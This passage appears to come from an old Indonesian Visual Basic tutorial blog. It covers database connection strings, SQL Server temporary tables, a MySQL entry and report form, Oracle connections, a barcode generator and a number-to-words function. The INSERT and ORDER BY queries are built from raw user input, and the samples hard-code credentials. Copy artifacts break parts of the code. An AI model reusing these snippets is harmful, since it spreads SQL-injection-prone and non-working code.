ot letting Excel use only the first 8 rows to guess the columns data type.
Set this value to 0 to scan all rows. This might hurt performance.

Important note! The two double quota ("") in the string are escaped quotas (VB syntax),
you may have to change this to your language specific escape syntax (ex. \") or
maybe single quota (').

18. Text

ODBC
Standard:
"Driver={Microsoft Text Driver (*.txt; *.csv)};
Dbq=c:\txtFilesFolder\;Extensions=asc,csv,tab,txt;"
OLE DB
Standard:
"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=c:\txtFilesFolder\;Extended Properties=""text;HDR=Yes;FMT=Delimited"""

"HDR=Yes;" indicates that the first row contains columnnames, not data

Important note! The two double quota ("") in the string are escaped quotas (VB syntax),
you may have to change this to your language specific escape syntax (ex. \") or maybe single quota (').

19. DBF / FoxPro

ODBC
standard:
"Driver={Microsoft dBASE Driver (*.dbf)};DriverID=277;Dbq=c:\mydbpath;"
OLE DB, OleDbConnection (.NET)
standard:
"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=c:\folder;
Extended Properties=dBASE IV;User ID=Admin;Password="

20. AS/400 (iSeries)

OLE DB, OleDbConnection (.NET)
IBM Client Access OLE DB provider:
"PROVIDER=IBMDA400; DATA SOURCE=MY_SYSTEM_NAME;
USER ID=myUserName;PASSWORD=myPwd"

Where MY_SYSTEM_NAME is the name given to the system
connection in OperationsNavigator

IBM Client Access OLE DB provider:
"PROVIDER=IBMDA400; DATA SOURCE=MY_SYSTEM_NAME;USER ID=myUserName;PASSWORD=myPwd;DEFAULT COLLECTION=MY_LIBRARY;"

Where MY_SYSTEM_NAME is the name given to the System Connection,
and MY_LIBRARY is the name given to the library in iSeries Navigator.

ODBC
IBM Client Access ODBC driver:
"Driver={Client Access ODBC Driver (32-bit)};System=my_system_name;
Uid=myUserName;Pwd=myPwd"

21. Exchange

OLE DB
Exchange OLE DB provider:
"ExOLEDB.DataSource"

Specify store in the connection open command like this:
conn.open http://servername/mypublicstore

22. Visual FoxPro

OLE DB, OleDbConnection (.NET)
Database container (.DBC):
"Provider=vfpoledb.1;Data Source=C:\MyDbFolder\MyDbContainer.dbc;
Collating Sequence=machine"

Free table directory:
"Provider=vfpoledb.1;Data Source=C:\MyDataDirectory\;Collating Sequence=general"

Force the provider to use an ODBC DSN:
"Provider=vfpoledb.1;DSN=MyDSN"

Read more (Microsoft msdn) >>
ODBC
Database container (.DBC):
"Driver={Microsoft Visual FoxPro Driver};SourceType=DBC;
SourceDB=c:\myvfpdb.dbc;Exclusive=No;
NULL=NO;
Collate=Machine;BACKGROUNDFETCH=NO;DELETED=NO"

Free Table directory:
"Driver={Microsoft Visual FoxPro Driver};
SourceType=DBF;SourceDB=c:\myvfpdbfolder;Exclusive=No;
Collate=Machine;
NULL=NO; DELETED=NO;BACKGROUNDFETCH=NO"

"Collate=Machine" is the default setting, for other settings check the
list of supported collating sequences >>
Microsoft Visual Foxpro site: http://msdn.microsoft.com/vfoxpro

23 Pervasive

ODBC
Standard:
"Driver={Pervasive ODBC Client Interface};ServerName=srvname;dbq=@dbname"
Pervasive ODBC info >>
OLE DB
Standard:
"Provider=PervasiveOLEDB;Data Source=C:\path"

24. UDL

UDL
UDL:
"File Name=c:\myDataLink.udl;"

Membuat tabel sementara di SQL Server

2008-11-28T10:11:00.004+07:00

Ada kalanya pada saat kita melakukan programming vb misalnya kita membutuhkan suatu table yang bersifat sementara atau temporary table, misalnya untuk menampung hasil dari suatu proses atau query.

Membuat tabel sementara saat ini adalah hampir sama dengan membuat sebuah tabel biasa. terutama adalah pengecualian penamaan tabel. Sebuah hash('#') karakter pertama sebagai karakter dalam tabel nama menandakan bahwa sementara table.Disini ada dua jenis tabel sementara, lokal dan global.Tabel lokal sementara memiliki satu tabel hash('#')
Tabel global adalah terlihat oleh semua pengguna dan secara otomatis akan dihapus ketika terakhir pengguna yang memiliki referensi tabel disconnects.

Salah satu contoh tabel lokal sementara:

create table #foo ( CarIndex smallint, CarType varchar(20) )

Salah satu contoh tabel global sementara:

create table ##baz ( CarIndex smallint, CarType varchar(20) )

Selamat mencoba dan mempraktekan..

Membuat Laporan Menggunakan VSFlexgrid

2008-11-28T09:55:00.003+07:00

Saya akan coba bahas suatu program menggunakan VB - MYSQL ditambah sedikit aksesoris vsflexgrid dan crystal report

Berikut ini adalah tampilan , kira kira program yang akan kita buat :

(click gambar untuk memperbesar)
Program ini kita buat simple, database mysql dengan satu table.
Step Pertama adalah Menyiapkan Database :
1. Buat satu database dengan nama : “Market”
2. Buat tablenya sebagai berikut :

CREATE TABLE `marketdetail` (
`ID` varchar(255) character set utf8 default NULL,
`Comodity` varchar(255) character set utf8 default NULL,
`Quantity` float default NULL,
`Negara` varchar(255) character set utf8 default NULL,
`Dest` varchar(255) character set utf8 default NULL,
`Tanggal` varchar(255) character set utf8 default NULL,
`CW` float default NULL,
`BERAT` varchar(255) character set utf8 default NULL,
`Market_id` mediumint(9) NOT NULL auto_increment,
PRIMARY KEY (`Market_id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=99 ;—-

Setelah database beserta tablenya dibuat, berikutnya kita siapkan modul entrynya menggunakan aplikasi VB. Berikut tampilan dan listing programnya

Lakukan langkah Berikut :

1. Buat satu Modul (namakan global.bas)
2. Isikan modul tersebut dengan Syntak2 Berikut :

Public objCnn As New ADODB.Connection
Public objcmd As New ADODB.Command
Public objRst As New ADODB.Recordset
Public USRText As String
Public PWDText As String
Public PortText As String
Public strconnect As String
Public ServerAddress As String
Public DatabaseName As String
Sub SQLConnection()
ServerAddress = “localhost”
USRText = “root”
PWDText = “”
DatabaseName = “market”
PortText = “”
Set objCnn = Nothing
strconnect = “Provider=MSDASQL.1;Password=;Persist Security Info=True;User ID=;Extended Properties=” & Chr$(34) & “DRIVER={MySQL ODBC 3.51 Driver};DESC=;DATABASE=” & DatabaseName & “;SERVER=” & ServerAddress & “;UID=” & USRText & “;PASSWORD=” & PWDText & “;PORT=” & PortText & “;OPTION=16387;STMT=;” & Chr$(34)
objCnn.CursorLocation = adUseClient
objCnn.ConnectionTimeout = 0
objCnn.Open strconnect
End Sub

Sub SQLDisconnection()
Set objRst = Nothing
Set objcmd = Nothing
objCnn.Close
End Sub

2. Buat Form seperti Dibawah ini

3. Pada tombol Save isikan syntak berikut (perhatikan pada penamaan objek Text Box dan Tanggal !!) :

Select Case MsgBox(”Do you want to save the record?”, vbQuestion + vbYesNoCancel, “Confirmation”)
Case vbYes
‘ If Not bValidate Then Exit Sub

Call SQLConnection
strSQL = “INSERT INTO marketdetail (ID, Comodity, Quantity, Negara, Dest, Tanggal, CW, Berat) ” & _
“VALUES (’” + Trim(Me.TxtName.Item(0).Text) + “‘ , ‘” + Trim(Me.TxtName.Item(1).Text) + “‘, ” & Me.TxtName.Item(2).Text & “,” & _
” ‘” + Trim(Me.TxtName.Item(3).Text) + “‘ , ‘” + Trim(Me.TxtName.Item(4).Text) + “‘, ‘” + Format(Me.TxtDate(0).Value, “mm/dd/yy”) + “‘, ‘” & Me.TxtName.Item(5).Text & “‘, ‘” & Me.TxtName.Item(6).Text & “‘)”
objCnn.Execute (strSQL)
Call SQLDisconnection
Case vbNo
msgbox “Gak Jadi !!”
Case vbCancel
Msgbox “Batal”
End Select

Selanjutnya, data akan kita tampilkan pada VSFlexgrid dan terakhir Crystal report

I. Buat tampilan seperti dibawah ini ,

dgn komposisi sebagai berikut :
1. satu buah combo box dengan nama CboFields
2. satu buah vsFlexgrid dengan nama VSFlexGrid1
3. dua buah command button dengan nama :
cmdprocess dan cmdprint

II. Berikut syntax2-nya :

1. Form load :Private Sub Form_Load()
Me.Left = 0
Me.Top = 0
Me.VSFlexGrid1.Rows = 1
Call SQLConnection
Me.CboFields.Clear

’syntax dibawah ini digunakan untuk mengisi combo box dengan
’nama2 filed dari table marketdetail

With objcmd
.ActiveConnection = objCnn
.CommandText = “show columns from marketdetail”
.CommandType = adCmdText
End With
Set objRst = objcmd.Execute
Do While objRst.EOF = False
Me.CboFields.AddItem objRst.Fields(0)
objRst.MoveNext
DoEvents
Loop
Call SQLDisconnection
End Sub

2. tombol Process (CmdProcess)

Private Sub CmdProcess_Click()
On Error GoTo erhan
Call SQLConnection
Dim i As Integer
Dim y As Integer
Dim cnt1 As Integer
i = 0
y = 0
If Len(Trim(Me.CboFields.Text)) = 0 Then
MsgBox “Please select Order By Selection !”, vbOKOnly + vbInformation
Exit Sub
End If
With objcmd
.ActiveConnection = objCnn
.CommandText = “Select * From marketdetail order by ” + Me.CboFields.Text + ” asc”
.CommandType = adCmdText
End With
Set objRst = objcmd.Execute
If objRst.EOF = False Then
cnt1 = objRst.RecordCount
For i = 0 To objRst.Fields.Count - 1
Me.VSFlexGrid1.Rows = 1
Me.VSFlexGrid1.Cols = 11
Me.VSFlexGrid1.Row = 0
Me.VSFlexGrid1.Col = i + 1
Me.VSFlexGrid1.Text = objRst.Fields(i).Name
Me.VSFlexGrid1.CellFontBold = True
Next
i = 0
y = 1
Do While objRst.EOF = False
Me.VSFlexGrid1.Rows = Me.VSFlexGrid1.Rows + 1
For i = 0 To objRst.Fields.Count - 1
Me.VSFlexGrid1.TextMatrix(y, i + 1) = Trim(objRst.Fields(i))
DoEvents
Next i
y = y + 1
DoEvents
objRst.MoveNext
DoEvents
Loop
Else
Exit Sub
End If
Call SQLDisconnection

DoEvents
Me.VSFlexGrid1.AllowUserResizing = flexResizeBoth
i = 0
For i = 1 To 10
Me.VSFlexGrid1.MergeCol(i) = True
Next i
SortAndShow

VSFlexGrid1.MergeCells = 1
VSFlexGrid1.MergeCells = 2
‘
VSFlexGrid1.Subtotal flexSTSum, -1, 3, m_Fmt, , RGB(255, 0, 0), True
VSFlexGrid1.Subtotal flexSTSum, -1, 7, m_Fmt, , RGB(255, 0, 0), True

VSFlexGrid1.Subtotal flexSTSum, 1, 3, m_Fmt, , RGB(0, 0, 255), True
VSFlexGrid1.Subtotal flexSTSum, 1, 7, m_Fmt, , RGB(255, 0, 0), True
Exit Sub
erhan:
MsgBox Err.Description
Call SQLDisconnection
End Sub
”—– additional procedure

Sub SortAndShow()
Dim r%, c%
On Error GoTo erhan
VSFlexGrid1.Redraw = False

r = VSFlexGrid1.Row
c = VSFlexGrid1.Col

VSFlexGrid1.Col = 0
VSFlexGrid1.ColSel = VSFlexGrid1.Cols - 1
VSFlexGrid1.Row = r
VSFlexGrid1.Col = c
VSFlexGrid1.Redraw = True
Exit Sub
erhan:
MsgBox Err.Description
Resume Next
End Sub

3. tombol Print (cmdprint)

untuk tombol print ini pastikan reportnya sudah dibuat terlebih dahulu, dengan nama file reportnya adalah “mymarket.rpt”

Private Sub CmdPrint_Click()
On Error GoTo erhan
LocText$ = LCase(App.path)
If Right$(App.path, 1) <> “\” Then LocText$ = LocText$ + “\”
CrystalReport1.Connect = strconnect
CrystalReport1.ReportFileName = LocText$ + “mymarket.rpt”

On Error GoTo erhan
CrystalReport1.Action = 0
Exit Sub
erhan:
MsgBox Err.Description
End Sub

jadi hasil akhirnya harusnya seperti ini :

dan seperti ini

Koneksi VB dengan Oracle menggunakan ODBC

2008-11-28T09:37:00.001+07:00

Pada posting ini saya coba tuliskan cara koneksi VB ke Oracle via ODBC dan Connection string .
Berikut Selengkapnya :

Coba buat form seperti berikut :

Kita akan mengisikan kode pada Tombol “Connect ODBC” dan “Connection String”
1. Tombol Connect ODBC
Private Sub cmdConnectODBC_Click()
On Error GoTo erhan
Dim Objcnn As New ADODB.Connection
Dim SQLString As String
SQLString = “DSN=RyanOra;UID=ryan;PWD=Killme;”
Objcnn.Open SQLString
Objcnn.CommandTimeout = 0
MsgBox “Sucess”
Exit Sub
erhan:
MsgBox Err.Description
End Sub

Kode diatas dapat dijalankan,d engan Asumsi, Kita sudah membuat ODBC data sourcenya dengan Nama : RyanORa

2. Tombol Connection String

Private Sub CmdConStr_Click()
On Error GoTo erhan
Dim Objcnn As New ADODB.Connection
Dim SQLString As String
SQLString = “Provider=OraOLEDB.Oracle.1;Password=itonly;Persist Security Info=True;User ID=ryan;Data Source=ORARYAN”

Objcnn.Open SQLString
Objcnn.CommandTimeout = 0
MsgBox “Sucess”
Exit Sub
erhan:
MsgBox Err.Description
End Sub

Kode diatas menerangkan, cara koneksi untuk ke database oracle :RYANORA

Membuat Program Barcode

2008-11-24T09:08:00.006+07:00

Kode di bawah ini akan menunjukkan cara untuk input data ke dalam kotak teks dan mendapatkan barcode dari gambar itu. Anda juga akan mempelajari bagaimana untuk bekerja dengan clipboard checksum dan kontrol.

Untuk menggunakan, baru memulai Visual Basic Proyek, menambahkan formulir untuk proyek dan paste kode di bawah ini ke dalamnya. Anda akan memiliki visual untuk membuat kotak (qty4), tombol perintah, frame (qty2), label, tombol pilihan (qty4), gambar kotak (qty2) dan kotak teks.

Berikut tampilan preview dari program barcode maker yang kita akan buat.Untuk desain anda bisa membuat sesuai dengan

Option Explicit
Dim BCtype As Long

Private Sub makeBC()
Select Case BCtype
Case 0
make39
Case 1
makei25
Case 2
make128
Case 3
makeCodabar
End Select
End Sub

Private Sub make39()
Dim x As Long, y As Long, pos As Long
Dim Bardata As String
Dim Cur As String
Dim CurVal As Long
Dim chksum As Long
Dim chkchr As String
Dim temp As String
Dim BC(43) As String
'3 of the 9 elements are wide: 0=narrow, 1=wide
BC(0) = "000110100" '0
BC(1) = "100100001" '1
BC(2) = "001100001" '2
BC(3) = "101100000" '3
BC(4) = "000110001" '4
BC(5) = "100110000" '5
BC(6) = "001110000" '6
BC(7) = "000100101" '7
BC(8) = "100100100" '8
BC(9) = "001100100" '9
BC(10) = "100001001" 'A
BC(11) = "001001001" 'B
BC(12) = "101001000" 'C
BC(13) = "000011001" 'D
BC(14) = "100011000" 'E
BC(15) = "001011000" 'F
BC(16) = "000001101" 'G
BC(17) = "100001100" 'H
BC(18) = "001001100" 'I
BC(19) = "000011100" 'J
BC(20) = "100000011" 'K
BC(21) = "001000011" 'L
BC(22) = "101000010" 'M
BC(23) = "000010011" 'N
BC(24) = "100010010" 'O
BC(25) = "001010010" 'P
BC(26) = "000000111" 'Q
BC(27) = "100000110" 'R
BC(28) = "001000110" 'S
BC(29) = "000010110" 'T
BC(30) = "110000001" 'U
BC(31) = "011000001" 'V
BC(32) = "111000000" 'W
BC(33) = "010010001" 'X
BC(34) = "110010000" 'Y
BC(35) = "011010000" 'Z
BC(36) = "010000101" '-
BC(37) = "110000100" '.
BC(38) = "011000100" '
BC(39) = "010101000" '$
BC(40) = "010100010" '/
BC(41) = "010001010" '+
BC(42) = "000101010" '%
BC(43) = "010010100" '* (used for start/stop character only)

Picture1.Cls
If Text1.Text = "" Then Exit Sub
pos = 20
Bardata = UCase(Text1.Text)

'Check for invalid characters, build temp string & calculate check sum
For x = 1 To Len(Bardata)
Cur = Mid$(Bardata, x, 1)
Select Case Cur
Case "0" To "9"
CurVal = Val(Cur)
Case "A" To "Z"
CurVal = Asc(Cur) - 55
Case "-"
CurVal = 36
Case "."
CurVal = 37
Case " "
CurVal = 38
Case "$"
CurVal = 39
Case "/"
CurVal = 40
Case "+"
CurVal = 41
Case "%"
CurVal = 42
Case Else 'oops!
Picture1.Print Cur & " is Invalid"
Exit Sub
End Select
temp = temp & BC(CurVal) & "0" '"0"= add intercharactor gap (1 narrow space)
chksum = chksum + CurVal
Next

'Add Check Character? (rarely used, but i put it here anyway...)
If Check1(2).Value Then
chksum = chksum Mod 43
temp = temp & BC(chksum) & "0"
chkchr = Mid$("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-. $/+%*", chksum + 1, 1)
End If

'Add Start & Stop characters (must have 'em for valid barcodes)
temp = BC(43) & "0" & temp & BC(43)

'Generate Barcode
For x = 1 To Len(temp)
If x Mod 2 = 0 Then
'SPACE
pos = pos + 1 + (2 * Val(Mid$(temp, x, 1))) + Check1(0).Value
Else
'BAR
For y = 1 To 1 + (2 * Val(Mid$(temp, x, 1)))
Picture1.Line (pos, 1)-(pos, 58 - Check1(1) * 8)
pos = pos + 1
Next
End If
Next

'Add Label?
If Check1(1).Value Then
Picture1.CurrentX = 35 + Len(Bardata) * (5 + Check1(0).Value * 2) 'kinda center
Picture1.CurrentY = 50
Picture1.Print Bardata & chkchr;
End If
End Sub

Private Sub makei25()
Dim x As Long, y As Long, pos As Long
Dim Bardata As String
Dim Cur As String
Dim temp As String
Dim chksum As Long
Dim BC(11) As String
'2 of the 5 elements are wide: 0=narrow, 1=wide
BC(0) = "00110" '0
BC(1) = "10001" '1
BC(2) = "01001" '2
BC(3) = "11000" '3
BC(4) = "00101" '4
BC(5) = "10100" '5
BC(6) = "01100" '6
BC(7) = "00011" '7
BC(8) = "10010" '8
BC(9) = "01010" '9
BC(10) = "0000" 'Start chr
BC(11) = "100" 'Stop chr

Picture1.Cls
If Text1.Text = "" Then Exit Sub
pos = 20
Bardata = Text1.Text

'make even num of digits by adding a leading 0
If Len(Bardata) Mod 2 And Not Check1(2).Value Then Bardata = "0" & Bardata
If Not (Len(Bardata) Mod 2) And Check1(2).Value Then Bardata = "0" & Bardata

'Check for invalid characters and calculate check sum
For x = 1 To Len(Bardata)
Cur = Mid$(Bardata, x, 1)
If Cur < "0" Or Cur > "9" Then
Picture1.Print Cur & " is Invalid"
Exit Sub
End If
'make checksum
If x Mod 2 Then
chksum = chksum + CLng(Cur) * 3
Else
chksum = chksum + CLng(Cur)
End If
Next

'add check chr to bardata (if selected)
If Check1(2).Value Then
chksum = (10 - chksum Mod 10) Mod 10
Bardata = Bardata & Chr$(48 + chksum)
End If

'interleave the code into a temp string - what'd you think the name meant?
For x = 1 To Len(Bardata) Step 2
For y = 1 To 5
temp = temp & Mid$(BC(Val(Mid$(Bardata, x, 1))), y, 1)
temp = temp & Mid$(BC(Val(Mid$(Bardata, x + 1, 1))), y, 1)
Next
Next

'add Start & Stop characters
temp = BC(10) & temp & BC(11)

'Generate Barcode
For x = 1 To Len(temp)
If x Mod 2 = 0 Then
'SPACE
pos = pos + 1 + (2 * Val(Mid$(temp, x, 1))) + Check1(0).Value
Else
'BAR
For y = 1 To 1 + (2 * Val(Mid$(temp, x, 1)))
Picture1.Line (pos, 1)-(pos, 58 - Check1(1) * 8)
pos = pos + 1
Next
End If
Next

'Add Label?
If Check1(1).Value Then
Picture1.CurrentX = 20 + Len(Bardata) * (2 + Check1(0).Value * 1.3) 'kinda center
Picture1.CurrentY = 50
Picture1.Print Bardata;
End If
End Sub

Private Sub make128()
Dim x As Long, y As Long, pos As Long
Dim Bardata As String
Dim Cur As String
Dim CurVal As Long
Dim chksum As Long
Dim temp As String
Dim BC(106) As String
'code 128 is basically the ASCII chr set.
'4 element sizes : 1=narrowest, 4=widest
BC(0) = "212222" '
BC(1) = "222122" '!
BC(2) = "222221" '"
BC(3) = "121223" '#
BC(4) = "121322" '$
BC(5) = "131222" '%
BC(6) = "122213" '&
BC(7) = "122312" ''
BC(8) = "132212" '(
BC(9) = "221213" ')
BC(10) = "221312" '*
BC(11) = "231212" '+
BC(12) = "112232" ',
BC(13) = "122132" '-
BC(14) = "122231" '.
BC(15) = "113222" '/
BC(16) = "123122" '0
BC(17) = "123221" '1
BC(18) = "223211" '2
BC(19) = "221132" '3
BC(20) = "221231" '4
BC(21) = "213212" '5
BC(22) = "223112" '6
BC(23) = "312131" '7
BC(24) = "311222" '8
BC(25) = "321122" '9
BC(26) = "321221" ':
BC(27) = "312212" ';
BC(28) = "322112" '<>
BC(31) = "212321" '?
BC(32) = "232121" '@
BC(33) = "111323" 'A
BC(34) = "131123" 'B
BC(35) = "131321" 'C
BC(36) = "112313" 'D
BC(37) = "132113" 'E
BC(38) = "132311" 'F
BC(39) = "211313" 'G
BC(40) = "231113" 'H
BC(41) = "231311" 'I
BC(42) = "112133" 'J
BC(43) = "112331" 'K
BC(44) = "132131" 'L
BC(45) = "113123" 'M
BC(46) = "113321" 'N
BC(47) = "133121" 'O
BC(48) = "313121" 'P
BC(49) = "211331" 'Q
BC(50) = "231131" 'R
BC(51) = "213113" 'S
BC(52) = "213311" 'T
BC(53) = "213131" 'U
BC(54) = "311123" 'V
BC(55) = "311321" 'W
BC(56) = "331121" 'X
BC(57) = "312113" 'Y
BC(58) = "312311" 'Z
BC(59) = "332111" '[
BC(60) = "314111" '\
BC(61) = "221411" ']
BC(62) = "431111" '^
BC(63) = "111224" '_
BC(64) = "111422" '`
BC(65) = "121124" 'a
BC(66) = "121421" 'b
BC(67) = "141122" 'c
BC(68) = "141221" 'd
BC(69) = "112214" 'e
BC(70) = "112412" 'f
BC(71) = "122114" 'g
BC(72) = "122411" 'h
BC(73) = "142112" 'i
BC(74) = "142211" 'j
BC(75) = "241211" 'k
BC(76) = "221114" 'l
BC(77) = "413111" 'm
BC(78) = "241112" 'n
BC(79) = "134111" 'o
BC(80) = "111242" 'p
BC(81) = "121142" 'q
BC(82) = "121241" 'r
BC(83) = "114212" 's
BC(84) = "124112" 't
BC(85) = "124211" 'u
BC(86) = "411212" 'v
BC(87) = "421112" 'w
BC(88) = "421211" 'x
BC(89) = "212141" 'y
BC(90) = "214121" 'z
BC(91) = "412121" '{
BC(92) = "111143" '|
BC(93) = "111341" '}
BC(94) = "131141" '~
BC(95) = "114113" ' *not used in this sub
BC(96) = "114311" 'FNC 3 *not used in this sub
BC(97) = "411113" 'FNC 2 *not used in this sub
BC(98) = "411311" 'SHIFT *not used in this sub
BC(99) = "113141" 'CODE C *not used in this sub
BC(100) = "114131" 'FNC 4 *not used in this sub
BC(101) = "311141" 'CODE A *not used in this sub
BC(102) = "411131" 'FNC 1 *not used in this sub
BC(103) = "211412" 'START A *not used in this sub
BC(104) = "211214" 'START B
BC(105) = "211232" 'START C *not used in this sub
BC(106) = "2331112" 'STOP

Picture1.Cls
If Text1.Text = "" Then Exit Sub
pos = 20
Bardata = Text1.Text

'Check for invalid characters, calculate check sum & build temp string
For x = 1 To Len(Bardata)
Cur = Mid$(Bardata, x, 1)
If Cur < " " Or Cur > "~" Then
Picture1.Print "Invalid Character(s)"
Exit Sub
End If
CurVal = Asc(Cur) - 32
temp = temp + BC(CurVal)
chksum = chksum + CurVal * x
Next

'Add start, stop & check characters
chksum = (chksum + 104) Mod 103
temp = BC(104) & temp & BC(chksum) & BC(106)

'Generate Barcode
For x = 1 To Len(temp)
If x Mod 2 = 0 Then
'SPACE
pos = pos + (Val(Mid$(temp, x, 1))) + Check1(0).Value
Else
'BAR
For y = 1 To (Val(Mid$(temp, x, 1)))
Picture1.Line (pos, 1)-(pos, 58 - Check1(1) * 8)
pos = pos + 1
Next
End If
Next

'Add Label?
If Check1(1).Value Then
Picture1.CurrentX = 30 + Len(Bardata) * (3 + Check1(0).Value * 2) 'kinda center
Picture1.CurrentY = 50
Picture1.Print Bardata;
End If
End Sub

Private Sub makeCodabar()
Dim x As Long, y As Long, pos As Long
Dim Bardata As String
Dim Cur As String
Dim CurVal As Long
Dim temp As String
Dim BC(19) As String
'Codabar, also known as NW-7
BC(0) = "0000011" '0
BC(1) = "0000110" '1
BC(2) = "0001001" '2
BC(3) = "1100000" '3
BC(4) = "0010010" '4
BC(5) = "1000010" '5
BC(6) = "0100001" '6
BC(7) = "0100100" '7
BC(8) = "0110000" '8
BC(9) = "1001000" '9
BC(10) = "0001100" '-
BC(11) = "0011000" '$
BC(12) = "1000101" ':
BC(13) = "1010001" '/
BC(14) = "1010100" '.
BC(15) = "0010101" '+
BC(16) = "0011010" 'start/stop A
BC(17) = "0101001" 'start/stop B
BC(18) = "0001011" 'start/stop C
BC(19) = "0001110" 'start/stop D

Picture1.Cls
If Text1.Text = "" Then Exit Sub
pos = 20
Bardata = Text1.Text

For x = 1 To Len(Bardata)
Cur = Mid$(Bardata, x, 1)
Select Case Cur
Case "0" To "9"
CurVal = Val(Cur)
Case "a" To "d"
CurVal = Asc(Cur) - 81
Case "-"
CurVal = 10
Case "$"
CurVal = 11
Case ":"
CurVal = 12
Case "/"
CurVal = 13
Case "."
CurVal = 14
Case "+"
CurVal = 15
Case Else 'oops!
Picture1.Print Cur & " is Invalid"
Exit Sub
End Select
temp = temp & BC(CurVal) & "0" '"0"= add intercharactor gap (1 narrow space)
Next

'Add Start & Stop characters (using "A" for both here)
temp = BC(16) & "0" & temp & BC(16)

'Generate Barcode
For x = 1 To Len(temp)
If x Mod 2 = 0 Then
'SPACE
pos = pos + 1 + (2 * Val(Mid$(temp, x, 1))) + Check1(0).Value
Else
'BAR
For y = 1 To 1 + (2 * Val(Mid$(temp, x, 1)))
Picture1.Line (pos, 1)-(pos, 58 - Check1(1) * 8)
pos = pos + 1
Next
End If
Next

'Add Label?
If Check1(1).Value Then
Picture1.CurrentX = 30 + Len(Bardata) * (3 + Check1(0).Value * 2) 'kinda center
Picture1.CurrentY = 50
Picture1.Print Bardata;
End If
End Sub

Private Sub Form_Resize()
Picture1.Width = Form1.Width - 360
makeBC
End Sub

Private Sub Option1_Click(Index As Integer)
Select Case Index
Case 0
Check1(2).ToolTipText = "Optional"
Check1(2).Value = 0
Check1(2).Enabled = True
Case 1
Check1(2).ToolTipText = "Optional"
Check1(2).Value = 0
Check1(2).Enabled = True
Case 2
Check1(2).ToolTipText = "Not optional"
Check1(2).Value = 1
Check1(2).Enabled = False
Case 3
Check1(2).ToolTipText = "Not used"
Check1(2).Value = 0
Check1(2).Enabled = False
End Select
BCtype = Index
makeBC
End Sub

Private Sub Text1_Change()
makeBC
End Sub

Private Sub Check1_Click(Index As Integer)
makeBC
End Sub

Private Sub Command1_Click()
Clipboard.Clear
Clipboard.SetData Picture1.Image
End Sub

Membuat angka terbilang dengan bahasa indonesia

2008-11-22T11:29:00.004+07:00

Dalam latihan ini penulis mencoba membuat angka menjadi tulisan terbilang
dengan bahasa Indonesia dari besar uang yang dimasukkan ke
dalam textbox. Besar angka yang dimasukkan bukan bilangan
pecahan, tapi bilangan bulat.
Membuat parameter "MataUang" yang bersifat opsional, di mana
default-nya = "rupiah". Jika parameter ini dikosongkan dengan ""
maka kata "rupiah" tidak muncul. Jika parameter ini tidak ada
(hanya memiliki 1 parameter), kata "rupiah" ditampilkan.

Persiapan:
1. Buat 1 Project baru dengan 1 Form dan 2 TextBox.
2. Text1 untuk input dengan angka, Text2 menampilkan terbilang.
3. Ketik coding berikut ke dalam editor form yang bertalian.

Ketik coding berikut ini pada Form.
Public Function TerbilangBulat(strAngka As String, _
Optional MataUang As String = "rupiah") As String
Dim strJmlHuruf$, intPecahan As Integer
Dim strPecahan$, Urai$, Bil1$, strTot$, Bil2$
Dim X As Integer, Y As Integer, z As Integer
On Error GoTo Pesan
Dim strValid As String, huruf As String * 1
Dim i As Integer
'Periksa setiap karakter yg diketikkan ke kotak

‘UserID
strValid = "1234567890"
For i% = 1 To Len(strAngka)
huruf = Chr(Asc(Mid(strAngka, i%, 1)))
If InStr(strValid, huruf) = 0 Then
Set AngkaTerbilang = Nothing
MsgBox "Harus karakter angka!", _
vbCritical, "Karakter Tidak Valid"
Exit Function
End If
Next i%
If strAngka = "" Then Exit Function
If Len(Trim(strAngka)) > 15 Then GoTo Pesan
strJmlHuruf = LTrim(strAngka)
'intPecahan = Val(Right(Mid(strAngka, 15, 2), 2))
If (intPecahan = 0) Then
strPecahan = ""
Else
'strPecahan = LTrim(Str(intPecahan)) + "/100 "
strPecahan = ""
End If
X = 0
Y = 0
Urai = ""
While (X < Len(strJmlHuruf))
X = X + 1
218
strTot = Mid(strJmlHuruf, X, 1)
Y = Y + Val(strTot)
z = Len(strJmlHuruf) - X + 1
Select Case Val(strTot)
Case 1
If (z = 1 Or z = 7 Or z = 10 Or z = 13) Then
Bil1 = "satu "
ElseIf (z = 4) Then
If (X = 1) Then
Bil1 = "se"
Else
Bil1 = "satu "
End If
ElseIf (z = 2 Or z = 5 Or z = 8 Or z = 11 Or z = 14)
Then
X = X + 1
strTot = Mid(strJmlHuruf, X, 1)
z = Len(strJmlHuruf) - X + 1
Bil2 = ""
Select Case Val(strTot)
Case 0: Bil1 = "sepuluh "
Case 1: Bil1 = "sebelas "
Case 2: Bil1 = "dua belas "
Case 3: Bil1 = "tiga belas "
Case 4: Bil1 = "empat belas "
Case 5: Bil1 = "lima belas "
Case 6: Bil1 = "enam belas "
Case 7: Bil1 = "tujuh belas "
Case 8: Bil1 = "delapan belas "
Case 9: Bil1 = "sembilan belas "
End Select
Else
Bil1 = "se"
End If
Case 2: Bil1 = "dua "
Case 3: Bil1 = "tiga "
Case 4: Bil1 = "empat "
Case 5: Bil1 = "lima "
Case 6: Bil1 = "enam "
Case 7: Bil1 = "tujuh "
Case 8: Bil1 = "delapan "
Case 9: Bil1 = "sembilan "
Case Else
Bil1 = ""
End Select
If (Val(strTot) > 0) Then
If (z = 2 Or z = 5 Or z = 8 Or z = 11 Or z = 14) Then
Bil2 = "puluh "
ElseIf (z = 3 Or z = 6 Or z = 9 Or z = 12 Or z = 15)
Then
Bil2 = "ratus "
Else
Bil2 = ""
End If
Else
Bil2 = ""
End If
219
If (Y > 0) Then
Select Case z
Case 4: Bil2 = Bil2 + "ribu "
Y = 0
Case 7: Bil2 = Bil2 + "juta "
Y = 0
Case 10: Bil2 = Bil2 + "milyar "
Y = 0
Case 13: Bil2 = Bil2 + "trilyun "
Y = 0
End Select
End If
Urai = Urai + Bil1 + Bil2
Wend
Urai = Urai + strPecahan
TerbilangBulat = (Urai & MataUang)
Exit Function
Pesan:
TerbilangBulat = "(maksimal 15 digit)"
End Function
Private Sub Text1_Change()
Text2.Text = TerbilangBulat(Text1.Text)
End Sub

Awal Kalimat Kapital

2008-11-22T11:28:00.001+07:00

kali ini kita latihan fungsi untuk menampilkan huruf pertama dari
setiap kalimat menjadi huruf besar/kapital.

Persiapan:
1. Buat 1 Project baru dengan 1 Form dan 1 TextBox.
